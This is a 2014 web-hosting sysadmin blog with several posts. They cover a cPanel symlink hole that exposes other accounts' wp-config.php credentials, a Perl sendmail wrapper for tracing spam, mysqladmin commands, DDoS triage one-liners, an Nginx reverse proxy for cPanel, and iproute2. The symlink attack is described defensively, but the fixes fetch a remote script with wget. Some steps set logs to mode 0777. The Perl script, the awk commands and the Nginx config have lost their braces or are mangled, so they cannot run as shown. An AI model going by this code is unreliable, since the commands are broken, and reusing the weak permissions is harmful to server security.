Friday 28 March 2014

symlink security issue - cPanel

cPanel symlink exploit


There is a serious security hole in the way that Apache handles symlinks on servers.


This allows an exploited account on a server to view .php files owned by other accounts, thus a single-account potentially exploits many accounts on the server.


The exploit, in general terms, is to create a symbolic link file (eg public_html/fred.txt) pointing to a wp-config.php file (eg /home/otheracct/public_html/wp-config.php) which contains database user and password which will occasionally be the cpanel username/password. The file is then readable via a web browser. If the user has been unwise enough to use their cpanel username/password for the database.


This script will find if there is any symlinks in the users home directory and save the output to /root/symlinks.txt


root@server1 [~]# find /home*/*/public_html -type l >> /root/symlinks.txt


Solution :-


Rack911 has published an easyapache patch which adds the file /scripts/before-apache-make to force SymLinksIfOwnerMatch to be always on.


root@server1 [~]# wget http://layer1.rack911.com/before_apache_make -O /scripts/before_apache_make

root@server1 [~]# chmod 700 /scripts/before_apache_make


Rebuild apache after.
root@server1 [~]# /scripts/easyapache


Enable Symlink Race Condition Protection from Exhaustive Options list during the EasyApache build process.



symlink security issue - cPanel

Tuesday 25 March 2014

How to monitor and Deal with Spamming


It is difficult to track nobody spammers from exim_mainlog file. You can’t get exactly that who is using your server to send spams. If you check php.ini file you will see that the mail service is set to /usr/sbin/sendmail and almost all mail scripts are in use the built in mail(); function for PHP.It means that everything is going through /usr/sbin/sendmail.


We will try to get these users in your Linux Servers.


1. Login to server as root.


2. For safe side turn off exim.


[root@server~]#/etc/init.d/exim stop


3. Backup /usr/sbin/sendmail file. [Your server is using Exim as MTA (Mail Transfer Agent), Exim will use sendfile for just a pointer actually].


[root@server~]#mv /usr/sbin/sendmail /usr/sbin/sendmail.hidden


4. Now we will create a spam monitoring script for the new sendmail programme.


[root@server~]#pico /usr/sbin/sendmail


Paste in the following:


#!/usr/local/bin/perl

# use strict;

use Env;

my $date = `date`;

chomp $date;

open (INFO, “>>/var/log/spam_log”) || die “Failed to open file ::$!”;

my $uid = $>;

my @info = getpwuid($uid);

if($REMOTE_ADDR)

print INFO “$date – $REMOTE_ADDR ran $SCRIPT_NAME at $SERVER_NAME n”;


else

print INFO “$date – $PWD – @infon”;


my $mailprog = ‘/usr/sbin/sendmail.hidden’;

foreach (@ARGV)

$arg=”$arg” . ” $_”;


open (MAIL,”|$mailprog $arg”) || die “cannot open $mailprog: $!n”;

while (<STDIN> )

print MAIL;


close (INFO);

close (MAIL);


5. Change the permissions new sendmail.


[root@server~]#chmod +x /usr/sbin/sendmail


6. New log file to save history which using web mail scripts.


[root@server~]#touch /var/log/spam_log


[root@server~]#chmod 0777 /var/log/spam_log


7. Start Exim.


[root@server~]#/etc/init.d/exim start


8. Now try any formmail script or any mail script which uses mail function and monitor new log file (spam_log)


[root@server~]#tail – f /var/log/spam_log


It should give us output like this:


Mon Nov 15 11:00:00 EST 2008 – /home/username/public_html/directory/subdirectory/subsubdirectory – nobody x 99 99 Nobody / /sbin/nologin


9. Log Rotation: This file is not set to be rotated file so there is a possibility that the file comes very large soon in size. So do this,


[root@server~]#pico /etc/logrotate.conf


Find >>


# no packages own wtmp — we’ll rotate them here


/var/log/wtmp

monthly

create 0664 root utmp

rotate 1


Add >>


# SPAM LOG rotation


/var/log/spam_log

monthly

create 0777 root root

rotate 1


10. We will set attributes for new sendmail programme file so it will not get overwritten.


[root@server~]#chattr + i /usr/sbin/sendmail


Now we can get nobody spam users, Goodluck.



Sunday 23 March 2014

MySQL Commands for Database Administration in Linux

mysqladmin is a command-line utility the comes with MySQL server and it is used by Database Administrators to perform some basic MySQL tasks easily such as setting root password, changing root password, monitoring mysql processes, reloading privileges, checking server status etc.
In this article we’ve compiled some very useful ‘mysqladmin‘ commands that are used by system/database administrators in their day-to-day work. You must have MySQL server installed on your system to perform these tasks.

20 mysqladmin commands examples
If you don’t have MySQL server installed or you are using older version of MySQL server, then we recommend you all to install or update your version by following our below article.
  1. Installation of MySQL 5.5.28 Server on RHEL/CentOS/Fedora

1. How to set MySQL Root password?

If you have fresh installation of MySQL server, then it doesn’t required any password to connect it as root user. To set MySQL password for root user, use the following command.
# mysqladmin -u root password YOURNEWPASSWORD

2. How to Change MySQL Root password?

If you would like to change or update MySQL root password, then you need to type the following command. For example, say your old password is 123456 and you want to change it with new password say xyz123.
mysqladmin -u root -p123456 password 'xyz123'

3. How to check MySQL Server is running?

To find out whether MySQL server is up and running, use the following command.
# mysqladmin -u root -p ping

Enter password:
mysqld is alive

4. How to Check which MySQL version I am running?

The following command shows MySQL version along with the current running status .
# mysqladmin -u root -p version

Enter password:
mysqladmin  Ver 8.42 Distrib 5.5.28, for Linux on i686
Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Server version          5.5.28
Protocol version        10
Connection              Localhost via UNIX socket
UNIX socket             /var/lib/mysql/mysql.sock
Uptime:                 7 days 14 min 45 sec

Threads: 2  Questions: 36002  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.059

5. How to Find out current Status of MySQL server?

To find out current status of MySQL server, use the following command. The mysqladmin command shows the status of uptime with running threads and queries.
# mysqladmin -u root -ptmppassword status

Enter password:
Uptime: 606704  Threads: 2  Questions: 36003  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.059

6. How to check status of all MySQL Server Variable’s and value’s?

To check all the running status of MySQL server variables and values, type the following command. The output would be similar to below.
# mysqladmin -u root -p extended-status

Enter password:
+------------------------------------------+-------------+
| Variable_name                            | Value       |
+------------------------------------------+-------------+
| Aborted_clients                          | 3           |
| Aborted_connects                         | 3           |
| Binlog_cache_disk_use                    | 0           |
| Binlog_cache_use                         | 0           |
| Binlog_stmt_cache_disk_use               | 0           |
| Binlog_stmt_cache_use                    | 0           |
| Bytes_received                           | 6400357     |
| Bytes_sent                               | 2610105     |
| Com_admin_commands                       | 3           |
| Com_assign_to_keycache                   | 0           |
| Com_alter_db                             | 0           |
| Com_alter_db_upgrade                     | 0           |
| Com_alter_event                          | 0           |
| Com_alter_function                       | 0           |
| Com_alter_procedure                      | 0           |
| Com_alter_server                         | 0           |
| Com_alter_table                          | 0           |
| Com_alter_tablespace                     | 0           |
+------------------------------------------+-------------+

7. How to see all MySQL server Variables and Values?

To see all the running variables and values of MySQL server, use the command as follows.
# mysqladmin  -u root -p variables

Enter password:
+---------------------------------------------------+----------------------------------------------+
| Variable_name                                     | Value                                        |
+---------------------------------------------------+----------------------------------------------+
| auto_increment_increment                          | 1                                            |
| auto_increment_offset                             | 1                                            |
| autocommit                                        | ON                                           |
| automatic_sp_privileges                           | ON                                           |
| back_log                                          | 50                                           |
| basedir                                           | /usr                                         |
| big_tables                                        | OFF                                          |
| binlog_cache_size                                 | 32768                                        |
| binlog_direct_non_transactional_updates           | OFF                                          |
| binlog_format                                     | STATEMENT                                    |
| binlog_stmt_cache_size                            | 32768                                        |
| bulk_insert_buffer_size                           | 8388608                                      |
| character_set_client                              | latin1                                       |
| character_set_connection                          | latin1                                       |
| character_set_database                            | latin1                                       |
| character_set_filesystem                          | binary                                       |
| character_set_results                             | latin1                                       |
| character_set_server                              | latin1                                       |
| character_set_system                              | utf8                                         |
| character_sets_dir                                | /usr/share/mysql/charsets/                   |
| collation_connection                              | latin1_swedish_ci                            |
+---------------------------------------------------+----------------------------------------------+

8. How to check all the running Process of MySQL server?

The following command will display all the running process of MySQL database queries.
# mysqladmin -u root -p processlist

Enter password:
+-------+---------+-----------------+---------+---------+------+-------+------------------+
| Id    | User    | Host            | db      | Command | Time | State | Info             |
+-------+---------+-----------------+---------+---------+------+-------+------------------+
| 18001 | rsyslog | localhost:38307 | rsyslog | Sleep   | 5590 |       |                  |
| 18020 | root    | localhost       |         | Query   | 0    |       | show processlist |
+-------+---------+-----------------+---------+---------+------+-------+------------------+

9. How to create a Database in MySQL server?

To create a new database in MySQL server, use the command as shown below.
# mysqladmin -u root -p create databasename

Enter password:
# mysql -u root -p

Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 18027
Server version: 5.5.28 MySQL Community Server (GPL) by Remi

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| databasename       |
| mysql              |
| test               |
+--------------------+
8 rows in set (0.01 sec)

mysql>

10. How to drop a Database in MySQL server?

To drop a Database in MySQL server, use the following command. You will be asked to confirm press ‘y‘.
# mysqladmin -u root -p drop databasename

Enter password:
Dropping the database is potentially a very bad thing to do.
Any data stored in the database will be destroyed.

Do you really want to drop the 'databasename' database [y/N] y
Database "databasename" dropped

11. How to reload/refresh MySQL Privileges?

The reload command tells the server to reload the grant tables. The refresh command flushes all tables and reopens the log files.
# mysqladmin -u root -p reload;
# mysqladmin -u root -p refresh

12. How to shutdown MySQL server Safely?

To shutdown MySQL server safely, type the following command.
mysqladmin -u root -p shutdown

Enter password:
You can also use the following commands to start/stop MySQL server.
# /etc/init.d/mysqld stop
# /etc/init.d/mysqld start

13. Some useful MySQL Flush commands

Following are some useful flush commands with their description.
  1. flush-hosts: Flush all host information from host cache.
  2. flush-tables: Flush all tables.
  3. flush-threads: Flush all threads cache.
  4. flush-logs: Flush all information logs.
  5. flush-privileges: Reload the grant tables (same as reload).
  6. flush-status: Clear status variables.
# mysqladmin -u root -p flush-hosts
# mysqladmin -u root -p flush-tables
# mysqladmin -u root -p flush-threads
# mysqladmin -u root -p flush-logs
# mysqladmin -u root -p flush-privileges
# mysqladmin -u root -p flush-status

14. How to kill Sleeping MySQL Client Process?

Use the following command to identify sleeping MySQL client process.
# mysqladmin -u root -p processlist

Enter password:
+----+------+-----------+----+---------+------+-------+------------------+
| Id | User | Host      | db | Command | Time | State | Info             |
+----+------+-----------+----+---------+------+-------+------------------+
| 5  | root | localhost |    | Sleep   | 14   |       |      |
| 8  | root | localhost |    | Query   | 0    |       | show processlist |
+----+------+-----------+----+---------+------+-------+------------------+
Now, run the following command with kill and process ID as shown below.
# mysqladmin -u root -p kill 5

Enter password:
+----+------+-----------+----+---------+------+-------+------------------+
| Id | User | Host      | db | Command | Time | State | Info             |
+----+------+-----------+----+---------+------+-------+------------------+
| 12 | root | localhost |    | Query   | 0    |       | show processlist |
+----+------+-----------+----+---------+------+-------+------------------+
If you like to kill multiple process, then pass the process ID‘s with comma separated as shown below.
# mysqladmin -u root -p kill 5,10

15. How to run multiple mysqladmin commands together?

If you would like to execute multiple ‘mysqladmin‘ commands together, then the command would be like this.
# mysqladmin  -u root -p processlist status version

Enter password:
+----+------+-----------+----+---------+------+-------+------------------+
| Id | User | Host      | db | Command | Time | State | Info             |
+----+------+-----------+----+---------+------+-------+------------------+
| 8  | root | localhost |    | Query   | 0    |       | show processlist |
+----+------+-----------+----+---------+------+-------+------------------+
Uptime: 3801  Threads: 1  Questions: 15  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.003
mysqladmin  Ver 8.42 Distrib 5.5.28, for Linux on i686
Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Server version          5.5.28
Protocol version        10
Connection              Localhost via UNIX socket
UNIX socket             /var/lib/mysql/mysql.sock
Uptime:                 1 hour 3 min 21 sec

Threads: 1  Questions: 15  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.003

16. How to Connect remote mysql server

To connect remote MySQL server, use the -h (host)  with IP Address of remote machine.
# mysqladmin  -h 172.16.25.126 -u root -p

17. How to execute command on remote MySQL server

Let’s say you would like to see the status of remote MySQL server, then the command would be.
# mysqladmin  -h 172.16.25.126 -u root -p status

18. How to start/stop MySQL replication on a slave server?

To start/stop MySQL replication on salve server, use the following commands.
# mysqladmin  -u root -p start-slave
# mysqladmin  -u root -p stop-slave

19. How to store MySQL server Debug Information to logs?

It tells the server to write debug information about locks in use, used memory and query usage to the MySQL log file including information about event scheduler.
# mysqladmin  -u root -p debug

Enter password:

20. How to view mysqladmin options and usage

To find out more options and usage of myslqadmin command use the help command as shown below. It will display a list of available options.
# mysqladmin --help
We have tried our best to include almost all of ‘mysqladmin‘ commands with their examples in this article, If still, we’ve missed anything, please do let us know via comments and don’t forget to share with your friends.

Saturday 22 March 2014

Search and Replace

Customer has been a victim of iframe code injections in multiple pages. Use this grep/sed command will come in handy for clearing the majority of them out. Please be careful and test first with just the grep command to ensure you don’t clear out anything you need. Does NOT backup files, be sure to backup first!


download: http://erikimh.com/code/rmcodeinjections.sh


this will remove all iframe injections from a particular file or wildcard set of files


usage example: ./rmcodeinjections.sh *.php


Replacing /var/named domains IP addresses with perl


Sometimes you need to replace an instance of one string in a file with another string. If there’s multiple occurrences, this can be a pain. Here’s a simple example of how you can use perl to replace all instances of an IP address for a moved a domain.


To do it:


perl -i.bak -pe “s/0.0.0.0/1.2.3.4/g” /var/named/domain.com.db


This example shows how to change from IP 0.0.0.0 to 1.2.3.4

This will also makes a backup of /var/named/domain.com.db as /var/named/domain.com.db.bkp


If you’re feeling ballsy and do not want backup run:


perl -i -pe “s/0.0.0.0/1.2.3.4/g” /var/named/domain.com.db


One alternate way would be (without perl):


replace 0.0.0.0 1.2.3.4 — /var/named/domain.com.db


DIffernce Shared hosting - VPS Hosting - Dedicated server hosting


When we think of hosting our site three types of hosting comes to our mind Shared Hosting, VPS (Virtual Private Server) and Dedicated Server. The pricing of these services varies from provider to provider and resources you want. Now what is the difference between these three services ?


1. Shared Hosting :


Shared hosting is a hosting service where many users share a single server. All the users have a separate directory where they can upload their files. This is generally most economical option as all the users share the overall cost of the server. The server is administered by the hosting provider and the technical tasks like managing servers, installing server software, security updates, technical support, etc. are the responsibility of the server admin. These servers generally use control panels like cPanel, Directadmin, Plesk, Interworx, etc which allow the users to manage their websites.


2. VPS (Virtual Private Server) :


VPS (Virtual Private Server) is a virtual machine created on a physical server. The hosting provider creates multiple VPS on a physical server and provides access to their users. VPS is as good as a dedicated server but with limited resources. VPS provides root access to the user so the user can install any software/OS and perform any root level tasks. This option is a little expensive as it is more powerful than a shared hosting account and has more privileges.


3. Dedicated Server :


Dedicated server is a service where the user leases the entire physical server and is not shared by anyone else. Unlike VPS and Shared hosting the user has full control over the server. The user can choose the hardware, software, OS, etc. Dedicated server is useful because of the benefits like high performance, security, email stability and control. This option is the costliest as you are the only one who is bearing the cost of the entire server. Most of the providers offer Managed dedicated server where the server is managed by the provider upto some extent.


Who should go for Shared hosting ?


The users who just want a business website and do not need much resources can opt for shared hosting as the cost involved in shared hosting is nominal. If you are a start up company and want an online presence shared hosting is the best for you.


Who should go for a VPS ?


The users who have sites with huge volume of visits and complex tasks being executed VPS hosting is recommended. This is because such website requires high amount of resources and constant monitoring on the part of the server admin. VPS becomes bit expensive but if you need more resources it is better to go for a VPS.


Who should go for a Dedicated Server ?


Dedicated server is recommended for big companies and institutions who have huge data and perform multiple tasks and calculations. Dedicated server is expensive but you have full control over the server and you can install anything you require for your site. With a dedicated server you have ample resources to handle any volume of requests for your site.



Friday 21 March 2014

Leave Copies Of Messages On Server

Most POP mail clients will automatically remove the messages from the mail server when it downloads them unless it is specifically configured to leave mail on the server. All of your emails should be saved locally on the computer that your POP client is on and still available from your mail client on that machine.


If you wish to leave a copy of the mail on the server so it can be accessed from multiple locations, you will need to change your download settings:


  • For Outlook, click on Tools > E-mail Accounts select “View or change existing e-mail accounts” and press “Next”. Select the correct account and click “Change”, then the “More Settings” button. You will then go to the “Advanced” tab  and  find the “Delivery” section at the bottom. Check “Leave a copy of messages on server”.

If you want to put your mail back on the server, you will need to reconfigure your mail client to connect with IMAP instead of POP and then import your mail back to the server. You will need to find the file that your mail is being stored in and then import the data in your IMAP mail profile, or simply drag and drop the mail from your local folders into the IMAP inbox.


Note: After you import mail via IMAP, if you connect with the POP client again, all of the email will download a second time and show up in your POP mail client as duplicates. In order to avoid duplicates, it is recommended that you move the mail from your inbox to another local folder before you connect back to the mail server via POP.



Leave Copies Of Messages On Server

Thursday 20 March 2014

cPanel Security Advisor Addon

This security advisor addon has only been tested on 11.38. Installing this addon is easy, using Git. Git is a powerful version control tool cPanel. It’s also included with cPanel & WHM and the tool used here to check out the cPanel Security Advisor. Git is also distributed with CentOS/RHEL, but cPanel has it’s own version based on the perl modules that cPanel installs.


Feature


Collect feedback on what security items we can enable by default without causing  problems.

Provide a way for cPanel to directly provide advice on how to secure your server on a single page.

Highlight new security features as they are added to cPanel/WHM.


cPsecurityadviserSS


How to install cpanel security advisor addon ?


Download security advisor git


/usr/local/cpanel/3rdparty/bin/git clone https://github.com/bdraco/addon_securityadvisor.git


cd addon_securityadvisor/pkg


./install


Next, log into WHM and go to the Plugins section on left menu to locate the Security Advisor Tool.


Clicking through that link will automatically run the cPanel Security Advisor, and the test will only take a moment.


It’s important to know that each security decision you are making here, is a risk versus reward situation. If you choose to take the risk, it’s important to know consequences and to be best prepared.


cPanel Security Advisor is very basic and if possible, you can use CSF security check options to check the cpanel security.


Uninstall cPanel security addon.


cd /usr/local/cpanel/3rdparty/bin/addon_securityadvisor/pkg/


./uninstall


Thats all…


What is mod_security?


ModSecurity is a web application firewall that can work either embedded or as a reverse proxy. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis.

You can install or upgrades are performed automatically when you run EasyApache /scripts/easyapache

Once enabled easyapache, goto WHM -> Plugins -> Mod Security ->Edit Config

click  default rules

Mod security configuration will included in /etc/httpd/conf/httpd.conf apache file.

Include “/usr/local/apache/conf/modsec2.conf”

Use the following link for more about mod security options and rules.

http://www.modsecurity.org/documentation/modsecurity-apache/2.5.5/modsecurity2-apache-reference.html#N109A9

Here are some important things to know when you change between ModSecurity versions:
Upgrades are performed automatically when you run EasyApache
The ModSecurity Activity Viewer in WHM complies easily
The rule editor in WHM will automatically work with the installed version of ModSecurity’s rules.

Rule syntax is completely different and located in different locations. When you migrate between major version numbers of ModSecurity, your mod_security 1 rules will need to be redone in mod_security 2 and vice versa.

Find Symlink files or folders in your cpanel server

There are many symlink hacking attempt caused trouble in your server. they can create a sym link folder by using


script. This is major security issues. how to find all the symbolic links under a particular directory using the “find” command.


Use the below commands to find symlink directory in your cpanel server.


find <search folder path> -lname <symlink file path>

Use the below command to find all the sym link files


find /home -type l -printf '%p -> %l\n'

or

find /home -type l -exec ls -lad \;

List all symbolic links in current directory


find /home -type l

Another examples,


In order to find all the /root folder symlinks in your /home directory, use this command


cd /home

find -lname /root

Use ls command to lise all the sym links


ls -lahR | grep ^l

Enable statistics in Configserver Firewall (CSF)


I’ve noticed recently that a new install of CSF won’t have statistics enabled by default.  Here’s how to enable them…


Edit your /etc/csf/csf.conf file and change:


ST_ENABLE = “0?


to


ST_ENABLE = “1?


Then, restart csf:  csf -r



Tuesday 18 March 2014

DDoS Attack

A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers.


Like DOS , DDOS also tries to deny the important services running on a server by broadcasting packets to the destination server in a way that the Destination server cannot handle it. The speciality of the DDOS is that, it relays attacks not from a single network/host like DOS. The DDOS attack will be launched from different dynamic networks which has already been compromised.


Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher i.e the person/machine behind all this. The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.


One common method of attack involves saturating the target (victim) machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resources so that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.


DDoS Process :-


DDOS is done in 2 phases. In first phase attackers try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.


Comman Reasons/Loop holes :-


1) Vulnerable softwares/Applications running on a machine or network.


2) Open network setup.


3) Network/ machine setup without taking security into account.


4) No monitoring or DataAnalysis are being conducted.


5) No regular Audit / Software upgrades being conducted.


———————————————————————————————————


netstat -alpn | grep :80 | awk ‘print $4’ | cut -d: -f1 |sort |uniq -c

netstat -alpn | grep :80 | awk ‘print $5’ | cut -d: -f1 |sort |uniq -c


———————————————————————————————————


RedHat: netstat -ntu | awk ‘print $5’ | cut -d: -f1 | sort | uniq -c | sort -n


BSD: netstat -na |awk ‘print $5’ |cut -d “.” -f1,2,3,4 |sort |uniq -c |sort -n


You can also check for connections by running the following command.

netstat -plan | grep :80 | awk ‘print $4 ’ | sort -n | uniq -c | sort


These are few step to be taken when you feel the server is under attack:

——————————————————————————-

Step 1: Check the load using the command “w”.

Step 2: Check which service is utilizing maximum CPU by “nice top”.

Step 3: Check which IP is taking maximum connection by netstat -anpl|grep :80|awk ’print $5?|cut -d”:” -f1|sort|uniq -c|sort -n

Step 4: Then block the IP using firewall (APF or iptables “apf -d < IP>” )

——————————————————————————-


How to prevent from DDoS :-


Implement security features in your server like:


1) Install apache modules like mod_dosevasive and mod_security in your server.

2) DDOS protection using CSF through “SYNFLOOD”.

3) The best,free & open sources solution to protect from DDOs :- http://deflate.medialayer.com/

4) Configure APF and IPTABLES to reduce the DDOS.


Basic server securing steps :

===============================

5) Configure sysctl parameters in your server to drop attacks.


You can block the IP which is attacking your server using Ipsec from command prompt.

=========

>> netsh ipsec static add filterlist name=myfilterlist

>> netsh ipsec static add filter filterlist=myfilterlist srcaddr=a.b.c.d dstaddr=Me

>> netsh ipsec static add filteraction name=myaction action=block

>> netsh ipsec static add policy name=mypolicy assign=yes

>> netsh ipsec static add rule name=myrule policy=mypolicy filterlist=myfilterlist filteraction=myaction

========


How to Setup Nginx as Reverse Proxy with Apache

WHM/Cpanel comes by default with Apache web server. That doesn’t mean that we can’t integrate Nginx “EngineX”. With some minor changes, we can install Nginx to listen


on port 80 and forward any PHP request to Apache to handle on another port like 8081. Apache is not really good in handling static files, so we pass this task to


Nginx. You will notice that your memory and CPU will decrease once you have done this setup.


Warning: This setting is not suitable for shared hosting environment. I strongly recommend you to apply this if you have 1 busy website running under cPanel. Make sure


you have compiled your Apache modules and features using EasyApache.


If you want nginx for shared hosting,please refer the following post/article :-


I am using variables as below:


OS: CentOS 5.6 32bit

cPanel: cPanel 11.30.1 (build 5)

Domain IP: 10.20.30.11

Apache port: 8081

Domain: unixsurgeon.com

User: unixsurgeon

Home directory: /home/unixsurgeon


1. Since Nginx will be reverse proxy for Apache, we don’t want our log file to record the proxy IP. We want the real IP as usual. This will make sure our stats page


like Webalizer and AWstats will record the correct information. So we need to install mod_rpaf which is “Reverse Proxy Add Forward” module for Apache. You can download


that at http://stderr.net/apache/rpaf/download:


# cd /usr/local/src

# wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz

# tar -xzf mod_rpaf-0.6.tar.gz

# cd mod_rpaf-*

# apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c


2. Once installed, we need to load the module into Apache configuration. Since cPanel already has Include Editor for Apache, we will use that functions. Login to WHM > Service Configuration > Apache Configuration > Include Editor > Pre Main Include > All Versions and paste following text:


LoadModule rpaf_module modules/mod_rpaf-2.0.so

RPAFenable On

RPAFproxy_ips 127.0.0.1  10.20.30.11 # replace the value with your server IP

RPAFsethostname On

RPAFheader X-Real-IP


3. Click Update > Restart Apache. The module should be loaded after restart.


4. Before we install Nginx, we need to change Apache port to 8081. Login to WHM > Server Configuration > Tweak Settings > Apache non-SSL IP/port:


0.0.0.0:8081


5. We need to run following command so cPanel will remember that Apache configuration template has changed:


#  /usr/local/cpanel/bin/apache_conf_distiller –update –main

#  /scripts/rebuildhttpdconf


6. Lets install Nginx and all requirements using yum. You can download Nginx source at http://nginx.org/en/download.html:


#  yum install pcre* -y

#  cd /usr/local/src

#  wget http://nginx.org/download/nginx-1.0.5.tar.gz

#  cd nginx-*

#  ./configure

#  make

#  make install


7. Once installed, we need to do some changes to Nginx configuration file. Using text editor, copy and paste following line and change the required value to fit your environment:


—————————————


user  nobody;


worker_processes  1;


error_log  logs/error.log  info;


events

worker_connections  1024;


http

server_names_hash_max_size 2048;

include       mime.types;

default_type  application/octet-stream;


log_format   main ‘$remote_addr – $remote_user [$time_local]  $status ‘

‘”$request” $body_bytes_sent “$http_referer” ‘

‘”$http_user_agent” “$http_x_forwarded_for”‘;


sendfile        on;

tcp_nopush     on;


keepalive_timeout  10;


gzip  on;

gzip_min_length  1100;

gzip_buffers  4 32k;

gzip_types    text/plain application/x-javascript text/xml text/css;

ignore_invalid_headers on;


client_header_timeout  3m;

client_body_timeout 3m;

send_timeout     3m;

connection_pool_size  256;

client_header_buffer_size 4k;

large_client_header_buffers 4 32k;

request_pool_size  4k;

output_buffers   4 32k;

postpone_output  1460;


server css)$

# this is your public_html directory

root   /home/unixsurgeon/public_html;


location /

client_max_body_size    10m;

client_body_buffer_size 128k;


proxy_send_timeout   90;

proxy_read_timeout   90;


proxy_buffer_size    4k;

proxy_buffers     16 32k;

proxy_busy_buffers_size 64k;

proxy_temp_file_write_size 64k;


proxy_connect_timeout 30s;


# change to your domain name

proxy_redirect  http://www.unixsurgeon.com:8081   http://www.unixsurgeon.com;

proxy_redirect  http://unixsurgeon.com:8081   http://unixsurgeon.com;


proxy_pass   http://127.0.0.1:8081/;

proxy_set_header   Host   $host;

proxy_set_header   X-Real-IP  $remote_addr;

proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;



———————————


8. We need to check the Nginx configuration file before start the Nginx. Use following command to check the configuration file:


root@cpanel [~]# /usr/local/nginx/sbin/nginx -t

nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok

nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful


9. If everything is OK, we can start the Nginx as below:


# /usr/local/nginx/sbin/nginx start


10. Lets check whether Nginx and Apache are listening to the correct port:


root@cpanel [~]# netstat -tulpn | grep -e nginx -e httpd

tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      16728/nginx

tcp        0      0 0.0.0.0:8081                  0.0.0.0:*                   LISTEN      19655/httpd

tcp        0      0 0.0.0.0:443                 0.0.0.0:*                   LISTEN      19655/httpd


11. If everything is run as expected, edit /etc/rc.local using text editor and add following line so Nginx will start automatically after reboot :-


# /usr/local/nginx/sbin/nginx restart


Nginx no need to be restarted to load the latest configuration file. You can run following command and it will reload the configuration on-the-fly without downtime:


kill -HUP `ps -ef | grep nginx | grep master | awk ‘print $2?`


Saturday 15 March 2014

Use IPRoute2 Tools to Manage Network Configuration - Linux VPS


Introduction


It is essential to have an understanding of basic networking tools when administering and troubleshooting Linux servers. While some tools are made primarily for monitoring, other low-level utilities are used to configure the network connection itself and implement default settings.



Traditionally, a group of unrelated tools lumped together under the title of net-tools was used to do this. They were often packaged together to provide full functionality coverage, but their development and usage strategy varied from tool to tool.


Because of inconsistencies, as well as halted maintenance, a collection of tools known under the umbrella moniker iproute2 has been used to replace these separate tools. They have been developed in tandem to share syntax and operate together efficiently.


In this guide, we will discuss how to use the iproute2 tools to configure, manipulate, and gather information about your network. We will be using an Ubuntu 12.04 VPS to demonstrate, but most modern Linux distributions should provide the same level of functionality.


While the querying commands can usually be executed as an unprivileged user, root privileges must be used to modify settings.

How To View Network Interfaces, Addresses, and Routes


One of the most fundamental responsibilities of the iproute2 suite is to manage actual interfaces.


Usually, the interfaces themselves will be named things like eth0, eth1, lo, etc. Traditionally, the ifconfig command was used to configure items in this area. Under the iproute2 system, the subcommands ip addr and ip link take care of these steps.


With ifconfig, you could gather information about the current state of your network interfaces by typing the command with no arguments:


ifconfig

eth0 Link encap:Ethernet HWaddr 54:be:f7:08:c2:1b 
inet addr:192.168.56.126 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::56be:f7ff:fe08:c21b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:114273 errors:0 dropped:0 overruns:0 frame:0
TX packets:58866 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:73490903 (73.4 MB) TX bytes:14294252 (14.2 MB)
Interrupt:20 Memory:f7f00000-f7f20000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:3942 errors:0 dropped:0 overruns:0 frame:0
TX packets:3942 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:668121 (668.1 KB) TX bytes:668121 (668.1 KB)

To get information about a single interface, you can always specify it as an argument:


ifconfig eth0

eth0 Link encap:Ethernet HWaddr 54:be:f7:08:c2:1b 
inet addr:192.168.56.126 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::56be:f7ff:fe08:c21b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:114829 errors:0 dropped:0 overruns:0 frame:0
TX packets:59007 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:73598364 (73.5 MB) TX bytes:14325245 (14.3 MB)
Interrupt:20 Memory:f7f00000-f7f20000

